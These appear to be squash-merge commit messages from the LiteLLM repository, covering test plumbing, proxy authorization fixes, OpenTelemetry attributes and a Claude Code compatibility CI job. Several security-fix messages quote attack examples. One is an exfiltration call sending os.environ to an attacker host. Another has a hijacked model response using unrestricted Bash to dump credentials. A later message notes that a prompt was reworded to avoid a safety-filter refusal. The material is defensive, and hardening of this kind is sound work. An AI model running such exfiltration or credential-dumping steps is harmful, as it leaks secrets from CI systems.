* The ``test-results/vcr-diagnostics/<pid>.log`` per-PID file
plumbing (``vcr_diag_write_line`` /
``emit_vcr_diagnostic_log``). Useful for any future diagnostic
that needs to bypass xdist stdout/stderr capture; cheap to keep.
* chore(tests): delete unused flush script + wire VCR diagnostic dump everywhere
* Remove ``scripts/flush_image_edit_vcr_cassettes.py``. It was a
one-shot helper for the initial cassette flush; the iterator and
``_was_iter`` fixes mean no future flush should be required, and
the script was never run anywhere (the actual flushes happened
inside the CI conftest via the temp hacks that have since been
reverted).
* The matcher mismatch + normalizer skip diagnostics already write
per-PID files for every suite that imports the shared VCR
plumbing, but ``emit_vcr_diagnostic_log`` -- the controller-side
dump that surfaces those files into the CI log at session end --
was only wired into ``image_gen_tests``. Add the one-line call to
the 12 sibling conftests that already use VCR so the diagnostics
surface in any suite's terminal output if a body matcher ever
misses. No new output in steady state -- the dump is a no-op when
no diagnostics were recorded that session.
* chore(tests): trim non-essential comments per project comment policy
Strips docstrings, inline comments, and block comments that this PR
introduced where the code itself was already self-evident. Keeps the
few lines that document non-obvious behaviour (raw-bytes-not-BytesIO
rationale on the image fixtures, the per-PID-files-bypass-xdist note
on the diagnostic directory). Touches only comments this PR added --
no pre-existing comment is removed.
Net: -161 lines of comment/docstring across 3 files, no code
behaviour change.
* chore(tests): forward **kwargs in pin_httpx_multipart_boundary wrapper
Defensive against future httpx MultipartStream.__init__ adding new
optional kwargs. Without the forward, the wrapper would silently drop
them. No behaviour change today.
* chore(tests): canonicalize VCR matchers and surface shouldn't-happen branches
Bundles the "follow-up cleanup PR" into this one so it does not get
lost. Four small changes:
1. Introduce ``_canonical_body(req) -> (bytes, pre_type)`` and route
``_safe_body_matcher`` through it. The matcher now operates on
bytes by construction; the "compare two iterator objects via
``==`` and silently get object-identity semantics" failure mode
(which cost us this entire PR to diagnose) is structurally
impossible to reintroduce. ``pre_type`` is the body type *before*
canonicalization, surfaced by the mismatch diagnostic so a future
regression involving a new body shape is still visible.
2. Add a structured diagnostic to ``_key_fingerprint_matcher``. It
was previously raising a bare ``AssertionError("API key
fingerprints differ")`` with zero context -- exactly the
anti-pattern the body matcher had before this PR.
3. Surface "shouldn't-happen" branches via ``vcr_diag_write_line``:
* ``_strip_image_b64_payloads`` -- logs when ``response``,
``response['body']``, or ``response['body']['string']`` arrives
in an unexpected shape (vcrpy contract violation).
* ``_compute_key_fingerprint`` -- logs the ``"no-key"`` fallback
with the request method/URL so a stripped-auth-header bug is
visible instead of masked.
* ``_canonical_body`` -- logs its own empty-bytes fallback when a
body has a shape ``_materialize_iterable_body`` did not handle.
4. Re-introduce per-episode body-hash logging in
``_RedisPersister.save_cassette`` (was reverted in 927c5548 as
"noisy"). Quantified cost: ~25 KB of CI log per session at peak,
~ms-scale CPU, zero output in steady state (no save = no log).
Trade-off favours keeping it: lets two consecutive CI runs be
diffed by body hash, which is how we will spot the next regression
in the same class.
All call sites still work: local repro confirms iter==iter HIT,
iter!=iter raises, plain-bytes HIT, body-hash log emits via the same
per-PID file plumbing as the matcher diagnostics.
* chore(tests): symmetrize diag-log cleanup across every VCR-using conftest
``image_gen_tests/conftest.py`` was the only suite that cleared
``test-results/vcr-diagnostics/*.log`` at session start. The other 12
VCR-using conftests inherited any stale per-PID logs from a previous
local run and would dump them in the terminal summary -- harmless in
CI (fresh container) but confusing locally when running multiple
suites in sequence.
Extracts the cleanup into a ``reset_vcr_diag_dir`` helper in
``tests/_vcr_conftest_common.py`` and calls it from every VCR-using
conftest's ``pytest_configure``. Same single source of truth, no
inline duplication.
* fix(tests): gate body materialization on __next__ and strip PR comments
aiohttp/vcrpy stores the json kwarg as a dict; _materialize_iterable_body
was iterating it via __iter__ and joining the keys, replacing the request
body with concatenated key names ("textlanguageentities"). Gate on
__next__ so containers (dict/list/tuple) are left alone — only single-use
iterators like httpx's bytes_iterator / list_iterator are materialized.
Log diagnostic line when chunk type is unrecognized.
* fix(tests): JSON-encode dict bodies in canonical_body for stable matching
aiohttp stubs store the json kwarg as a dict; the fallback that compared
all dicts as b"" caused concurrent presidio analyze calls to be served
the wrong cassette episode. JSON-encode with sort_keys for stable bytes.
* fix(tests): guard emit_vcr_diagnostic_log against multi-conftest re-emission
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* fix(tests): globalize multipart-boundary pin + stabilize whisper fixtures
Diagnostic shows audio_testing was silently re-recording 50+ live Whisper
episodes per CI run (over MAX_EPISODES_PER_CASSETTE, so the persister
refused to save). Two changes:
* Move the session-autouse _pin_multipart_boundary fixture into the
shared _vcr_conftest_common module so every VCR-using suite picks it
up via a single import. image_gen had it inline; the other 12 suites
silently lacked it.
* Replace the module-level open("rb") audio file handles in test_whisper
with cached bytes + a per-call (filename, bytes, mimetype) tuple,
mirroring the image_edits raw-bytes pattern. Stops the file-pointer-
at-EOF bug where the second test got an empty multipart body.
* chore(tests): drop per-episode body-hash dump and redundant emit guard
---------
Co-authored-by: shin-berri <shin-laptop@berri.ai>
Co-authored-by: yuneng-jiang <yuneng@berri.ai>
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* fix(proxy): gate team allowed_passthrough_routes to proxy admins
allowed_passthrough_routes short-circuits the role-based route gate, so
the keys endpoints already restrict it to proxy admins. The team writers
(/team/new, /team/update) had no equivalent check, letting an org admin
(a non-proxy-admin who clears the route gate and _verify_team_access)
self-grant pass-through routes on their team. Lift the keys check into a
shared helper and apply it to both team endpoints.
Resolves LIT-3019
* docs(proxy): note view-only admins are intentionally excluded from passthrough gate
Clarifies the proxy-admin guard per review feedback; no behavior change.
Refs LIT-3019
The second assertion in test_bash_allow_rule_is_pinned_to_exact_echo_pong
was dead code: '"Bash"' not in text or '"Bash(echo pong)"' in text
short-circuits to True any time the allow rule is present, which is
guaranteed by the first assertion. A test file containing both the
unrestricted "Bash" pattern AND the restricted "Bash(echo pong)"
pattern would have passed this security check undetected, defeating the
exact-match permissions pin that protects the PR-gate machine executor
from arbitrary host command execution.
Strip the allowed pattern out of the file text before scanning, so the
residual check is independent of the first assertion. The pure helper
_has_bare_bash_token() is exercised directly by three new unit tests
covering both the positive (bare "Bash" → flagged) and negative
(only "Bash(echo pong)" → accepted; unrelated 'Bashing' substrings →
ignored) paths so this regression cannot recur silently.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
Addresses three Bugbot concerns flagged on PR #28027 that are real
behavioral / coverage gaps:
1. matrix_builder._aggregate_cell now joins every failing tier's error
in the published cell instead of silently dropping all but the first.
When Haiku 429s and Opus times out on the same cell, both diagnostics
land in the matrix JSON so docs-page triage can name both outliers.
2. _aggregate_cell treats 'not_tested' rows as absent data: they're
dropped before computing the cell status. Previously a mixed
(pass, not_tested) cell silently fell through to 'not_tested',
discarding the passing tiers and hiding real coverage from the
published matrix. A cell still aggregates to 'not_tested' when
*every* row is 'not_tested' (or there are no rows at all).
3. test_v0_layout.py now structurally validates every feature declared
in manifest.yaml (directory exists, __init__.py exists, every
per-provider test_<provider>.py exists), not just the original six
v0 rows. The EXPECTED_FEATURE_IDS / EXPECTED_PROVIDERS anchor
constants still pin v0 positions; the new manifest-driven tests
extend the same structural guarantees to every post-v0 row so a
broken directory in 'count_tokens', 'tool_search', 'web_search',
etc. fails CI instead of silently becoming a 'not_tested' cell.
Three new builder tests pin the new aggregation behavior:
- mixed pass + not_tested surfaces as pass
- all-not_tested stays not_tested
- multiple fail errors are joined with '; '
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
Address two new Veria comments (2026-05-18T00:10:41Z) on the
claude_code_compat_pr_gate job:
1. .circleci/config.yml (Veria: provider credentials exposed to PR code)
The pytest step runs PR-controlled test code (anything under
tests/claude_code/) and the CircleCI job env carries the provider
creds used to start the proxy container. A malicious PR could add
`requests.post(attacker, data=os.environ)` to any test or
conftest hook and exfiltrate ANTHROPIC_API_KEY / AWS_* /
VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN.
Pytest only needs to talk to the proxy at localhost:4000, so the
credentials are not legitimately required in pytest's env. Wrap
the invocation in `env -i` with a minimal allowlist (PATH /
HOME / USER / TERM / LANG / LC_ALL / TMPDIR + the four
proxy/result-path vars pytest actually reads). Pinned by a new
test in test_circleci_pr_gate_wiring.py so the scrub cannot
silently regress.
2. tests/claude_code/{tool_use,tool_use_streaming,thinking_with_tool_use}
(Veria: model-controlled Bash execution in CI)
The three Bash-using feature directories passed `--allowed-tools
Bash` unrestricted, which lets a compromised provider response
choose any host command to run instead of `echo pong`. On the
PR-gate machine executor that command could `docker inspect
compat-proxy` to dump provider creds from the proxy container.
Tighten every Bash-using cell (15 files total, 5 providers × 3
feature dirs) to:
- --allowed-tools 'Bash(echo pong)' — exact-match pattern per
Claude Code's permission rule syntax. A different command
does not match the allow rule.
- --permission-mode dontAsk — auto-denies tool calls outside the
allow rule instead of falling back to the headless default
(which would defeat the explicit-allow contract).
thinking_with_tool_use prompts are tightened to pin the command
to 'echo pong' so the cell can run under the new restriction
while still exercising the thinking + tool_use shape.
Pinned by a new parametrized test (15 cells × 2 properties = 30
cases) in test_bash_tool_restrictions.py.
The model-Bash mitigation is layered on top of the existing
cli_driver env allowlist (which already scrubs provider creds from
the CLI subprocess env, so even a malicious `echo $ANTHROPIC_API_KEY`
prints nothing) and the build-and-test branch filter (which keeps
external forks from running this job at all). It is not a substitute
for a fully sandboxed CLI runner; the residual risk of Claude Code's
built-in read-only `echo` auto-approve is documented in the per-cell
comments alongside the restriction.
All 223 tests/claude_code/ unit tests pass.
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Address two related Veria comments on the claude_code_compat_pr_gate
job:
1. (line ~2320) The PR-gate version resolver is PR-controlled Python
that runs in the same CircleCI job as the provider secrets injected
later into the proxy container. A malicious PR could modify
tests/claude_code/pr_gate_version_resolver.py to read
ANTHROPIC_API_KEY / AWS_* / VERTEXAI_* / AZURE_FOUNDRY_* /
GITHUB_TOKEN out of os.environ and exfiltrate them over the
resolver's outbound npm registry HTTPS call.
2. (line ~2335) `npm install -g @anthropic-ai/claude-code` runs the
package's `postinstall: node install.cjs` script (verified
against the npm registry metadata for @anthropic-ai/claude-code),
which executes arbitrary code from npm with the full job env.
`claude --version` on the next line also runs package code. A
compromised package release (or transitive registry hijack) could
exfiltrate the same provider credentials. --ignore-scripts is not
viable: the postinstall is the step that fetches the platform
binary, so skipping it would leave the install unusable.
Mitigation:
- Wrap both invocations in `env -i` with a minimal allowlist
(PATH / HOME / USER / TERM / LANG / LC_ALL / TMPDIR — plus
NVM_DIR + CLAUDE_CODE_VERSION on the npm step). BASH_ENV is
intentionally NOT passed through so the scrubbed subshell can't
re-source prior steps' exports.
- Pin the scrub with two new unit tests in
test_circleci_pr_gate_wiring.py so a future YAML refactor cannot
silently drop the env -i wrapper and revert the mitigation. The
tests verify both that `env -i` is present in each step and that
it precedes the actual at-risk invocation in the command body.
Verified locally that `env -i PATH=$PATH HOME=$HOME ... uv run
--no-sync python -m tests.claude_code.pr_gate_version_resolver` still
resolves and prints a CLI version successfully.
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Address the Greptile concern that basic_messaging_streaming and
basic_messaging_non_streaming used the same implementation, so a proxy
that buffered the upstream stream would silently show green for the
streaming row.
The fix:
- _basic_messaging.run_basic_messaging_cell accepts verify_streaming=True,
which passes --include-partial-messages to the claude CLI. That flag
causes the CLI to emit one stream_event record per upstream SSE event
(message_start, content_block_delta, message_stop, ...). A buffering
proxy collapses the stream to a single non-streaming response, so
zero stream_event records are emitted.
- The cell rejects any model whose stream_event count is below
MIN_STREAM_DELTA_EVENTS (2) -- safely above the buffered case for any
non-trivial reply. Same all-must-pass shape as the existing
tool_use_streaming row.
- All five basic_messaging_streaming/test_*.py per-provider cells now
pass verify_streaming=True; the non-streaming variants are unchanged.
- New unit tests cover the helper, the partial-messages flag wiring,
the streamed/buffered branching, and the all-models-must-stream
contract.
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
The conftest's pytest_sessionfinish writes per-cell tagged-union JSON
(compat-results.json) and the per-provider rate-limit summary to paths
controlled by COMPAT_RESULTS_PATH / COMPAT_RATE_LIMIT_SUMMARY_PATH.
The PR gate never set either env var, so the artifacts were written to
the working directory — but store_test_results only collects
test-results/junit.xml, leaving the per-cell JSON unreachable from the
CircleCI artifact browser. Reviewers triaging a red PR gate couldn't
pull the cell-level breakdown without re-running.
Point both env vars at a dedicated compat-artifacts/ directory and add
a store_artifacts step so the JSON blobs become downloadable. Also
extend the existing PR-gate wiring test to pin all three pieces:
COMPAT_RESULTS_PATH override, COMPAT_RATE_LIMIT_SUMMARY_PATH override,
and at least one store_artifacts step whose path matches the directory
the exports point at. Without the cross-check, a future refactor could
break the chain (e.g. only export the env vars, or only add the
store_artifacts step) and the wiring would silently drop the artifacts
again.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
The release pagination loop in run_daily.sh used to break the moment a
page contained any v*-stable tag. GitHub's /releases endpoint orders by
created_at, not semver, so a freshly-cut backport on an older series
(e.g. v1.80.1-stable published today) can appear on an earlier page than
a higher-versioned release (v1.83.0-stable published two weeks ago).
The early-break would silently pin the cron to the stale tag because
the higher-versioned release on a later page never made it into the
merged set the final sort_by consumed — and the cron would publish a
compatibility matrix against a stale LiteLLM version with no visible
signal that anything was wrong.
Keep the empty-page guard (so a quiet release feed still doesn't burn
through the full 5-page cap) but drop the broken early-break.
Tests live in tests/claude_code/_publisher_unit_tests/ (mirroring the
existing _driver_unit_tests / _builder_unit_tests / _pr_gate_unit_tests
naming convention already excluded from the PR-gate pytest run). They:
- Statically assert the buggy length>0 + break combo is not in the
pagination loop body.
- Statically assert the empty-page guard is still in place.
- Drive the actual run_daily.sh resolution snippet with a fake curl
whose page 1 contains a low-version backport stable and page 2
contains the high-version stable, then assert that the high-version
tag is the one resolved. This is the end-to-end regression test.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
- Clear _manifest_feature_ids LRU cache in pytest_sessionstart so manifest
changes between pytest.main() invocations within the same process are
picked up, preventing silent result drops.
- Add --ignore flags for the internal _*_unit_tests/ subdirectories to the
Claude Code compat PR gate CircleCI job to match the cron run_daily.sh
pytest invocation.
Co-authored-by: Yassin Kortam <yassin@berri.ai>
- conftest: pytest_runtest_makereport now early-returns on report.skipped
so pytest.skip(...) inside a compat test body doesn't get recorded as
a phantom 'fail' row via the not-failed/empty-collected branch.
- _basic_messaging: drop require_stream_events. The check (not outcome.events)
cannot catch a buffering regression because cli_driver uses
subprocess.run(capture_output=True), which only exposes the post-exit
stdout blob — buffered-then-flushed and truly streamed responses are
indistinguishable. The check was also unreachable as an independent
failure path (empty events -> empty text -> the text check fires first).
Update all five streaming callers and docstrings accordingly.
Co-authored-by: Yassin Kortam <yassin@berri.ai>
- run_claude_models_parallel: catch all exceptions in the per-model
worker and wrap unexpected ones into a ClaudeCLIError so the
documented 'errors as values' contract holds for OSError, ValueError,
etc., not just ClaudeCLIError. Without this, an unexpected raise in
any layer (rate limiter file I/O, infer_provider, etc.) abandons the
remaining models' results and crashes the calling test.
- test_run_claude_places_extra_args_before_prompt: drop the dead first
branch of the 'or' assertion — cmd[-3:] never matches that shape, so
the alternative was misleading dead code.
- basic_messaging_{non_streaming,streaming}/test_*.py: extract the
shared cell body into tests/claude_code/_basic_messaging.py.
Each per-provider file now declares its model list and calls
run_basic_messaging_cell(), eliminating ~700 lines of copy-paste
across 10 files. Updated _builder_unit_tests/test_v0_layout.py to
accept the helper-based pattern alongside direct run_claude() calls.
Co-authored-by: Yassin Kortam <yassin@berri.ai>
run_claude validated empty prompt strings but silently accepted
stdin_input="", letting an empty stdin reach the subprocess and surface
as a confusing CLI failure instead of a clear ValueError.
probe_count_tokens and probe_tool_search were sending requests
directly via httpx with no call to the cross-process RateLimiter
that cli_driver.run_claude uses. During a full matrix run those
unthrottled probes would silently violate the limiter's aggregate
per-provider budget and could push adjacent CLI cells over the
429 threshold.
Acquire one token from the same process-wide limiter (keyed by
infer_provider(model)) before each probe, with an injectable
rate_limiter seam matching run_claude's API for unit tests.
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* fix(mcp-oauth): add PROXY_BASE_URL escape hatch + diagnostic logging for invalid_request
Customers hitting "{"detail":"invalid_request"}" on the MCP /authorize
endpoint had no way to recover when their ingress mangles X-Forwarded-*
headers (the same-origin check in validate_trusted_redirect_uri compares
the browser-supplied redirect_uri against get_request_base_url, which is
reconstructed from those headers).
Two contained changes:
1. get_request_base_url now honours PROXY_BASE_URL as the canonical
public origin when set, bypassing the X-Forwarded-* trust gate
entirely. Operators who know their public URL can set it once
instead of debugging ingress header rewrites.
2. The rejection path in validate_trusted_redirect_uri emits a WARN
log carrying the redirect_uri, computed proxy base, and the
X-Forwarded-* / Host headers seen. A bare 400 was undiagnosable;
this turns it into a one-line root-cause.
* test(mcp-oauth): capture warnings from correct logger ("LiteLLM")
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* fix(mcp-oauth): reject malformed PROXY_BASE_URL with one-shot diagnostic
A scheme-less PROXY_BASE_URL (e.g. "litellm.example.com" instead of
"https://litellm.example.com") would sail through urlparse with empty
scheme + netloc, silently breaking every same-origin compare in
validate_trusted_redirect_uri and leaving the operator staring at the
same opaque 400 the env var was meant to fix.
Validate it once at read time: only honour values that parse as
http(s) URLs with a non-empty netloc; otherwise log a one-shot WARN
naming the bad value and fall through to the request-derived origin
so the proxy still serves traffic.
* fix(mcp/oauth): normalize PROXY_BASE_URL to strip query/fragment
Match the X-Forwarded-* path's normalization so a configured
PROXY_BASE_URL containing a query string or fragment does not break
downstream f-string concatenation like f"{base_url}/callback".
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* refactor(mcp-oauth): drop non-essential comments from PROXY_BASE_URL changes
Strip narrative comments and verbose docstrings added in this PR; the
code is intuitive enough on its own and the log messages already carry
their own diagnostic context. Pre-existing comments are left untouched.
---------
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* fix(proxy): sort BYOK models by team_public_model_name in /v2/model/info
Team BYOK rows persist an internal `model_name` like
`model_name_{team_id}_{uuid}` and expose the user-facing name via
`model_info.team_public_model_name`. The UI's `getDisplayModelName`
and the search filter already fall back to that field, but
`_sort_models` was keying off the raw `model_name` — so BYOK rows
ranked by their opaque IDs and clumped at the end of the alphabetized
list instead of interleaving with non-BYOK rows.
Match the UI/search behavior: prefer `team_public_model_name` when
present, fall back to `model_name` otherwise.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(proxy): case-insensitive DB-side search for BYOK models
`_apply_search_filter_to_models` used Prisma's JSON path
`string_contains` to match the BYOK `team_public_model_name` field, but
that operator is case-sensitive in Postgres (no `mode: insensitive`
flag like column-level string filters have). So a search for "claude"
missed a stored "Claude Sonnet" via the DB branch even though the
router-side path matched it case-insensitively.
Widen the JSON branch to "row has a team_public_model_name set" and
filter case-insensitively in Python so DB-only BYOK rows match the
same terms users see in the UI. This also drops the now-unused
DB-level page-size optimization and `sort_by` knob — the in-Python
filter is the source of truth for `db_models_total_count` now.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(proxy): scope BYOK search results to caller's accessible teams
`_apply_search_filter_to_models` was widened to fetch every row with a
`team_public_model_name` set so case-insensitive search could match
mixed-case stored names. `/v2/model/info` is reachable by non-admin
keys though, and the helper ran before `include_team_models` / `teamId`
filtering — so a non-admin caller could search a common substring like
"claude" and see BYOK rows belonging to teams they're not a member of.
Resolve the caller's team membership once (admin → no scoping, else
their `user_row.teams`) and drop BYOK rows (those with
`model_info.team_id` set) outside that scope on both the router-side
matches and the over-broad DB query, before display-name matching.
Non-team rows are unaffected and remain gated by the existing
`include_team_models` / `direct_access` paths.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(proxy): search by team_public_model_name and scope teamId queries
- /v2/model/info search now matches both `model_name` and
`model_info.team_public_model_name`, so team BYOK rows (which persist
an internal `model_name_{team_id}_{uuid}`) are findable by the public
name shown in the UI. DB query OR-includes a JSON-path match on
`team_public_model_name` for rows that exist only in the DB.
- `_filter_models_by_team_id` no longer short-circuits on the viewer's
`direct_access` flag — that describes the admin viewer's own
permissions and would leak every public model into a team-scoped view.
Models are kept only when they belong to the team (own BYOK, in
access_via_team_ids, or reachable via team.models / access groups).
- Added `_authorize_team_id_query`: the untrusted `teamId` query
parameter now requires the caller to be a proxy admin or a member of
the requested team, otherwise returns 403. Without this, any
authenticated user could enumerate another team's BYOK metadata by
guessing the team id.
- `_get_caller_byok_team_scope` now treats `PROXY_ADMIN_VIEW_ONLY` the
same as `PROXY_ADMIN` (both are admin roles); previously VIEW_ONLY
admins fell through to a user-id team lookup and saw only their own
teams' BYOK rows.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(proxy): bound BYOK search DB fetch in /v2/model/info
Previously the DB-side search OR'd a JSON-path predicate
`{model_info: {path: [team_public_model_name], string_contains: ""}}`
to compensate for Prisma's case-sensitive JSON `string_contains` on
Postgres. That predicate matches every row that has any
`team_public_model_name` set, so any authenticated caller could force a
full BYOK-table read with `/v2/model/info?search=x` regardless of page
size.
Drop the JSON-path branch. The DB query now does a bounded
`model_name contains <search>` lookup. BYOK rows that are loaded into
the router are still searchable by their `team_public_model_name` via
the router-side filter; only the rare edge case of a BYOK row that
exists only in the DB (router sync failed) loses display-name search,
which is an acceptable trade-off given the DoS surface.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(proxy): bound DB find_many in /v2/model/info search
The previous bounding patch dropped the page-aware `take=N` on
`find_many`, so a broad `?search=model` would load and decrypt every
matching DB row on each request even though the response only returns
one page.
Restore bounded fetches in `_apply_search_filter_to_models`:
* Unsorted searches use `take = max(0, page * size - router_count)`,
i.e. exactly one page worth of remaining DB rows.
* Sorted searches need ordering across the full match set, so they cap
at `_SORTED_SEARCH_DB_FETCH_CAP = 500` instead of fetching everything.
* Total count comes from a cheap `count(...)` query so pagination stays
accurate without materializing every row.
Wired `page`, `size`, and `sortBy` through from the endpoint and added
a regression test covering both `take` values.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(proxy): extract DB-fetch helper to satisfy PLR0915
_apply_search_filter_to_models tripped Ruff's "too many statements"
(51 > 50) after the bounded-fetch fix. Move the DB-side block into
`_fetch_db_models_for_search`, which keeps the same behavior:
* Bounded `take` via page math (unsorted) or `_SORTED_SEARCH_DB_FETCH_CAP`
(sorted)
* Cheap `count(...)` for accurate pagination totals
* Caller-team scope applied to fetched rows before decrypt
Pure refactor; no behavior change. All 8 BYOK/team tests still pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* style: apply black formatting to _fetch_db_models_for_search
CI's "Check Black formatting" step flagged one line in the helper added
in d55eecf6af. No behavior change.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The proxy SERVER span ("Received Proxy Server Request") only carried
http.response.status_code on failures (set in _record_exception_on_span),
so success traces had no 2xx bucket — error-ratio and status-breakdown
dashboards were missing their denominator and the span violated the HTTP
semconv (the attribute is required whenever a response is sent). Add a
set_response_status_code_attribute helper and call it from
async_post_call_success_hook with 200, symmetric with the failure path
and the existing route/preprocessing-duration SERVER-span attributes.
* feat(otel): expose http.response.status_code on failure spans
Set the OTel-standard http.response.status_code (integer) on failure
spans alongside the existing OpenInference error.code (kept for
back-compat). error.type is already emitted via ERROR_TYPE.
Crucially, also record structured error attributes on the proxy SERVER
span ('Received Proxy Server Request') from async_post_call_failure_hook
- the only place the SERVER span is in hand. _handle_failure records on
the litellm_request child span (the parent span is not propagated into
its kwargs), so prior to this change the SERVER span that dashboards
query carried only span status, never error.code/error.type. Reuses
_record_exception_on_span + StandardLoggingPayloadSetup.get_error_information
so values match the child span.
Tests: recorder unit coverage + a hook-driven test asserting the SERVER
span is stamped (the gap recorder-only tests missed). Full
test_opentelemetry.py suite: 197 passed.
* feat(otel): set http.route + url.path on the proxy SERVER span
Add the OTel-standard http.route (low-cardinality route template, e.g.
/v1/threads/{thread_id}/runs) and url.path (literal path) to the SERVER
span ('Received Proxy Server Request') so dashboards can group traffic
by endpoint instead of seeing every path param as a unique value.
Same architectural gap as the status-code commit: the success/failure
logging handlers write the litellm_request CHILD span, and
_handle_success explicitly refuses to copy to the SERVER span. Verified
with a console-exporter run that the SERVER span was bare on success.
Unlike error info, route/path are known at request time, so set them
directly on the freshly-created SERVER span in user_api_key_auth (one
edit point, works for success and failure, no hook-ordering risk):
- http.route from the matched FastAPI route (scope['route'].path),
empirically confirmed populated at auth-dependency time.
- url.path from the existing literal-path variable.
New get_request_route_template helper + set_proxy_request_route_attributes
(no-op on None span, so the Langfuse override stays safe).
Tests: route-attribute setter + route-template helper edges. Full
test_opentelemetry.py and test_auth_utils.py green.
* feat(otel): set litellm.preprocessing.duration_ms on the proxy SERVER span
Expose the total time LiteLLM spends before the upstream provider
request begins (auth + parsing + pre-call hooks) as a single number on
the SERVER span ('Received Proxy Server Request'). Window:
proxy-receive -> FIRST provider handoff.
Retry semantics: first attempt only (pure preprocessing, excludes
retry loops + backoff). api_call_start_time is overwritten on every
attempt, so a set-once first_api_call_start_time pins the first handoff.
Same architectural gap as the prior two commits: the success/failure
logging handlers write the litellm_request CHILD span, not the SERVER
span. Set it instead from the post-call hooks on
user_api_key_dict.parent_otel_span.
Failure-path subtlety: request_data.pop('litellm_logging_obj') runs
before the failure-hook loop, so the failure hook can't read the
logging object. litellm_received_at is propagated via the existing
request->metadata channel, and first_api_call_start_time is mirrored
onto litellm_params.metadata, so both anchors survive into request_data
and the OTel helper reads them uniformly for success and failure.
Edits: user_api_key_auth (stash receive instant), litellm_pre_call_utils
(propagate it), litellm_logging (set-once first handoff + metadata
mirror), opentelemetry (constant + set_preprocessing_duration_attribute,
called from both post-call hooks).
Tests: duration helper (both container shapes, missing/negative/None
edges) + set-once invariant (retry doesn't overwrite, metadata mirror).
test_opentelemetry.py + test_auth_utils.py + test_litellm_logging.py:
447 passed. Verified live: SERVER span carries the attribute on success
and failure, coexisting with the status-code and route attributes.
* fix(otel): MyPy type-narrowing for status-code + preprocessing-duration
No behavior change. MyPy (CI lint) flagged:
- error_information["error_code"] is str|None: narrow via a None-checked
local before int().
- _to_timestamp returns Optional[float]: resolve both anchors and return
early if either is None instead of subtracting possibly-None floats.
* fix(otel): stop polluting user request metadata with first_api_call_start_time
The PR3 set-once preprocessing anchor was mirrored into
litellm_params["metadata"] from core litellm_logging.py. That dict is
the caller's request metadata, mutated in place and shared across every
call path including pure SDK (litellm.acreate_batch). It got echoed into
LiteLLMBatch(metadata=...), which the OpenAI batch schema types as
Dict[str, str] -> pydantic ValidationError on a datetime value.
- litellm_logging.py: set first_api_call_start_time only on
model_call_details (success path reads it there directly).
- proxy/utils.py: post_call_failure_hook lifts it off the logging object
into request_data (internal top-level key, same convention as the
other proxy-internal request_data keys) right before the existing
litellm_logging_obj pop. Never touches user metadata.
- opentelemetry.py: read the anchor from the container top level
(model_call_details on success, request_data on failure).
- Tests updated; add TestPostCallFailureHookLiftsFirstApiCallStartTime.
Fixes the batches_testing regression introduced on this branch.
* chore(otel): trim verbose comments to concise rationale
Collapse multi-line why-blocks to one or two lines and drop process/plan references (PR-numbering, "the plan") from test comments. No behavior change.
Matrix grows from 11 to 15 feature rows. All new tests collected + 180
unit tests still pass; smoke runs hit real LiteLLM bug surfaces on
bedrock_invoke, bedrock_converse, and vertex_ai (cells correctly red
in PR #142).
Rename
------
`extended_thinking` -> `thinking` (directory, manifest id+name, 5
test fn names, 5 docstrings, builder unit-test fixtures, sample JSON,
run_compat.sh). Existing test logic already covers both manual
(`thinking.type=enabled`, Haiku 4.5) and adaptive
(`thinking.type=adaptive`, Opus 4.7) shapes because Claude Code picks
the shape per model from `--effort max`; the name change just stops
the column from looking like a Claude 3.7 reference.
New rows
--------
- structured_outputs (5 files, CLI `--json-schema`). Claude Code
synthesizes a single `StructuredOutput` tool from the schema and
surfaces the tool_use input as `structured_output` on the trailing
`result` event. Test ships its own `_validate_against_schema` so
we don't take a jsonschema dep just for matrix surface.
- count_tokens (5 files, HTTP probe). POSTs the proxy's
`/v1/messages/count_tokens` directly and asserts the response is
`{input_tokens: positive int}`. No CLI hook exists for this
endpoint; the test goes through the new http_probe helper instead.
- tool_search (5 files, HTTP probe). Sends
`tools: [{type: tool_search_tool_regex_20251119, name:
tool_search_tool_regex}]` and asserts the proxy doesn't 400. MCP
fan-out via `--mcp-config` would also exercise the tool-search
beta header path, but it's flaky w.r.t. Claude Code's internal
tool-deferral threshold; the HTTP probe hits the actual bug surface
(per-provider beta-header translation `advanced-tool-use-2025-11-20`
vs `tool-search-tool-2025-10-19`).
- long_context_1m (5 files, CLI `--betas context-1m-2025-08-07
--max-budget-usd 6`). A ~210k-token padded prompt over stdin
exercises the 1M-context beta. Sonnet 4.6 + Opus 4.7 only --
Haiku 4.5's window is 200k, so it's excluded from MODELS (not
marked not_applicable) to keep the per-cell aggregator semantics
intact. Prompt uses a document-style preamble + 8 cycling pangrams
rather than repeating identical chunks; without that, Opus 4.7
trips the safety filter mid-response with a Usage Policy refusal.
`--max-budget-usd 6` is a runaway-loop guard, ~2x worst-case Opus
per-cell spend.
New helper
----------
`tests/claude_code/http_probe.py`: shared `ProbeResult` dataclass
plus per-endpoint `probe_*` + `assert_*_shape` pairs for the
HTTP-probe rows. Uses httpx with `anthropic-version: 2023-06-01` and
a 30s timeout.
